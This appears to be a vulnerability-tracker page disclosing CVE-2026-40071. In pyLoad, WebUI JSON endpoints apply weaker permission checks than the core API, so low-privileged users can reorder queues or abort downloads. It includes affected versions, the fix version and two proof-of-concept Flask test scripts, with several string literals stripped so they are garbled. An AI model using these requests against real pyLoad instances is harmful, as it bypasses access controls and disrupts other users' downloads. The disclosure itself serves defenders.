Live › vulnerability › CVE-2026-40071
Go to dashboardpyLoad's WebUI JSON endpoints check weaker permissions than the core API methods they call, so a low-privileged user with ADD or DELETE rights can reorder packages and files or abort active downloads. The result is unauthorized changes to the download queue and interrupted downloads, not admin takeover.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-26 15:59 UTC, 0h before NVD. All times on this page are UTC.
Teams that run pyLoad's WebUI with several non-admin accounts that have per-user permissions. Single-user installs where every account is an admin are not meaningfully exposed, and instances without a WebUI login are not affected by this route.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| pyload-ng | pypi | < 0.5.0b3.dev97 | 0.5.0b3.dev97 |
| pyload | vendor | < 2026-04-13 | 2026-04-13 |
pip show pyload-ng and compare the installed version with 0.5.0b3.dev97.pyload-ng to 0.5.0b3.dev97 or later.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.
Confirmed mismatches:
ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_orderDELETE user can abort downloads (stop_downloads) via /json/abort_linkpyLoad defines granular permissions in core API:
order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125)order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137)stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)But WebUI JSON routes use weaker checks:
/json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117)/json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145)/json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)Why this is likely unintended (not just convenience):
MODIFY:
/json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196)/json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217)settings.html:184-190), implying these boundaries are intended security controls.Environment:
0.5.0b3 (VERSION file)ddc53b3d7PoC A (ADD-only user invokes MODIFY-only reorder):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'attacker'
def order_package(self, pack_id, pos):
self.calls.append(('order_package', int(pack_id), int(pos)))
def order_file(self, file_id, pos):
self.calls.append(('order_file', int(file_id), int(pos)))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized(, ctx))
app = Flask(__name__)
app.secret_key =
app.config[] =
app.config[] =
f = FakeApi()
app.config[] = f
app.register_blueprint(json_blueprint.bp)
app.test_client() c:
c.session_transaction() s:
s[] =
s[] =
s[] = (Role.USER)
s[] = (Perms.ADD)
r1 = c.post(, json={: , : })
r2 = c.post(, json={: , : })
(, r1.status_code, r1.get_data(as_text=).strip())
(, r2.status_code, r2.get_data(as_text=).strip())
(, f.calls)
Observed output:
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'u'
def stop_downloads(self, ids):
self.calls.append(('stop_downloads', ids))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() s:
s[] =
s[] =
s[] = (Role.USER)
s[] = (Perms.DELETE)
r = c.post(, json={: })
(, r.status_code, r.get_data(as_text=).strip())
(, f.calls)
Observed output:
API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]
Type:
Scope:
MODIFY.Security impact:
MODIFY.MODIFY.This page as .md · .json · in your agent: get_signal("CVE-2026-40071")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.